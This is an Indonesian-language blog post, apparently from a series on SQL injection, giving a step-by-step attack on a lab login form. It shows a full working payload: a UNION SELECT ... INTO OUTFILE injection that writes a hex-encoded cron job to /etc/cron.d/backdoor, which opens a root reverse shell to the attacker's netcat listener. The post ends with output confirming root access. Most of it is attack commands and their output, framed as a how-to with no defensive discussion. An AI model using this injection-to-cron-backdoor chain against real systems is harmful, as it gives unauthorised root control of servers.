Masih sama dengan posting tempo lalu, saya masih menggunakan burpsuite untuk membantu saya dalam melakukan decode dan sql injecting.
Preparation :
- Burpsuite [dapat ditemukan di backtrack]
- Netcat [dapat ditemukan di backtrack]
- Ketahuilah apa fungsi dari file yang terdapat di directory /etc/cron.d/
- Membuat file baru pada directory /etc/cron.d/ dengan perintah back connect root kepada komputer attacker.
- Game Over.
1. Apa itu file cron.d?
Saya akan menjelaskan dengan singkat, apa fungsi dari file /etc/cron.d. File yang terdapat dalam directory ini akan dieksekusi setiap 2 - 5 menit sekali oleh user yang bersangkutan. User yang bersangkutan?
Contoh sederhana dari file /etc/cron.d/ adalah
Command :
* * * * * www-data date>>/tmp/date
Kita memiliki contoh file cron.d di sini, sebut saja nama file ini date
Command :
<< back|track 5 R2 [~] ls -l /etc/cron.d/date
-rw-r--r-- 1 root root 35 2012-05-01 12:01 /etc/cron.d/date
Command :
<< back|track 5 R2 [~] cat /etc/cron.d/date
* * * * * www-data date>>/tmp/date
User www-data akan mengeksekusi perintah
date>>/tmp/date
Dimana output dari perintah date akan disimpan di /tmp/date. Sekarang kita cek isi dari file /tmp/date
Command :
<< back|track 5 R2 [~] cat /tmp/date
Tue May 1 11:24:57 WIT 2012
Tue May 1 11:26:01 WIT 2012
Perhatikan, file /etc/cron.d/date dieksekusi setiap 2 menit. Bagaimana jika user kita ganti dengan root? Tentu saja bisa.
2. Back connect root
Kita bisa melakukan back connect root jika netcat dieksekusi oleh root. Sederhananya, kita cukup mengganti user dengan root, kemudian kita tambahkan dengan dengan peritah back connect netcat.
Command :
* * * * * root /bin/nc.traditional 172.16.243.1 1234 -e /bin/bash
Anda bisa mencari tau mengapa saya bisa menemukan netcat pada server target di posting SQL Injection Level 4 [Part 3]. Sementara 172.16.243.1 adalah IP Address saya.
Kemudian kita decode perintah ini dari ASCII ke HEX dengan bantuan burpsuite. Saya tidak akan menjelaskan lagi cara melakukan decode ASCII ke HEX dengan burpsuite, anda dapat membacanya pada postingan sebelumnya pada SQL Injection Level 4 [Part 3].
Ok. Perintah suda di decode menjadi HEX. Sekarang perintah menjadi
Command :
2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a
Catatan Penting:
Ketika melakukan decode dengan burpsuite, pastikan anda menambahkan line baru setelah perintah netcat. Perhatikan gambar di atas.
Setelah di decode, maka kita masukan perintah SQL seperti ini:
Command :
myusername=admin&mypassword=%27 and 1=1 union select 0x20,0x20,0x20 into outfile '/etc/cron.d/backdoor' lines terminated by 0x2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a -- &Submit=Login
Perintah di atas akan membuat file baru bernama backdoor pada directory /etc/cron.d/. Sebelum klik tombol GO pada burpsuite, masukan perintah berikut pada terminal, ini berfungsi agar anda dapat menerima koneksi netcat dari root komputer target.
Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
Kemudian klik tombol GO. Ok, kali ini saya akan membuat bukti bahwa file cron.d dieksekusi dalam 2 menit. Setelah mengklik tombol GO, saya melakukan cek tanggal dan waktu.
Command :
<< back|track 5 R2 [~] date
Tue May 1 11:45:53 WIT 2012
3. Game Over
Jika file /etc/cron.d/backdoor pada server target berhasil dieksekusi, maka pada konsol netcat akan muncul.
Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648
Kemudian saya cek kembali tanggal saya
Command :
<< back|track 5 R2 [~] date
Tue May 1 11:45:53 WIT 2012
<< back|track 5 R2 [~] date
Tue May 1 11:47:03 WIT 2012
File /etc/cron.d/backdoor dieksekusi dalam waktu kurang dari 2 menit. Sekarang kita cek ID pada netcat kita, apakah ini root?
Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648
id
uid=0(root) gid=0(root) groups=0(root)
There you go! You got root.
0 komentar:
Posting Komentar